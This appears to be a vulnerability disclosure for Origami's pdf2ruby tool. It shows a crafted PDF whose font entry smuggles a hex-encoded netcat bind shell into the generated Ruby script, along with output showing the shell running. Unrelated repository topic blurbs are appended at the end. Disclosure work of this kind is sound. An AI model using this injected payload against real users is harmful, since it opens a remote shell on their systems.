The experimental pdf2ruby
utility takes a user-specified PDF file as input and generates an Origami ruby script which can be used to rebuild an equivalent PDF document.
It's possible to craft a PDF for input such that the generated ruby code contains malicious operating system commands. The commands will be executed if the user runs the generated code.
The following malicious PDF document demonstrates this issue.
root@kali:~/pdf/origami/bin# cat ../poc.pdf
%PDF-1.0
1 0 obj
<<
/Pages 2 0 R
/Type /Catalog
>>
endobj
2 0 obj
<<
/Kids [ 3 0 R ]
/Count 1
/Type /Pages
>>
endobj
3 0 obj
<<
/Type /Page
/Parent 2 0 R
/MediaBox [ 0 0 795 842 ]
/Resources <<
/Font <<
/F1 4 0 R
>>
>>
>>
endobj
4 0 obj
<<
/Name /F1
/Subtype /Type1
/Type /Font
/BaseFont /Helvetica
/foo /bar"+`nc\x20-lvp\x201337\x20-e\x20\x2Fbin\x2Fsh`+"
>>
endobj
xref
0 5
0000000000 65535 f
0000000010 00000 n
0000000067 00000 n
0000000136 00000 n
0000000272 00000 n
trailer
<<
/Root 1 0 R
/Size 5
>>
startxref
364
%%EOF
Note that the /foo
parameter value contains a string concatenated with operating system commands (a netcat
bind shell on port 1337) enclosed in backticks.
The operating system commands must be hex encoded as several characters (such as
and /
) prevent successful injection.
Running the pdf2ruby
utility on the above malicious PDF is successful and generates no warnings or errors, as shown below:
root@kali:~/pdf/origami/bin# ./pdf2ruby ../poc.pdf
[*] Loading document '../poc.pdf'
[*] Document successfully loaded into Origami
[*] Retrieving all indirect objects...
[*] Retrieving the document Catalog...
[*] Processing the object hierarchy...
[*] Successfully generated script 'poc/poc.rb'
The generated code is shown below:
root@kali:~/pdf/origami/bin# cat poc/poc.rb
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
$: << "/root/pdf/origami/bin/../lib"
require 'origami'
end
include Origami
using Origami::TypeConversion
# Disable automatic type casting.
Origami::OPTIONS[:enable_type_guessing] = false
OUTPUT = "#{File.basename(__FILE__, '.rb')}.pdf"
#
# Creates the PDF object.
#
pdf = PDF.new
f1_4 =
Font::Type1::Standard::Helvetica.new(
:Name => :F1,
:Subtype => :Type1,
:Type => :Font,
:BaseFont => :Helvetica,
:foo => :"bar"+`nc\x20-lvp\x201337\x20-e\x20\x2Fbin\x2Fsh`+""
).to_o
obj_3 =
Page.new(
:Type => :Page,
:Parent => nil,
:MediaBox =>
[0, 0, 795, 842],
:Resources =>
Resources.new(
:Font =>
{
:F1 => f1_4
}
)
).to_o
pages_2 =
PageTreeNode.new(
:Count => 1,
:Kids =>
[obj_3],
:Type => :Pages
).to_o
obj_3[:Parent] = pages_2
pdf.Catalog =
Catalog.new(
:Pages => pages_2,
:Type => :Catalog
).to_o
pdf.insert(pages_2)
pdf.insert(obj_3)
pdf.insert(f1_4)
#
# Saves the document.
#
pdf.save(OUTPUT)
Note the value of the :foo
key contains the hex encoded operating system commands surrounded by backticks.
The output below shows execution of the generated ruby code resulting in execution of the netcat
bind shell:
root@kali:~/pdf/origami/bin# ./poc/poc.rb
nc: listening on :: 1337 ...
nc: listening on 0.0.0.0 1337 ...
^C./poc/poc.rb: Interrupt
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.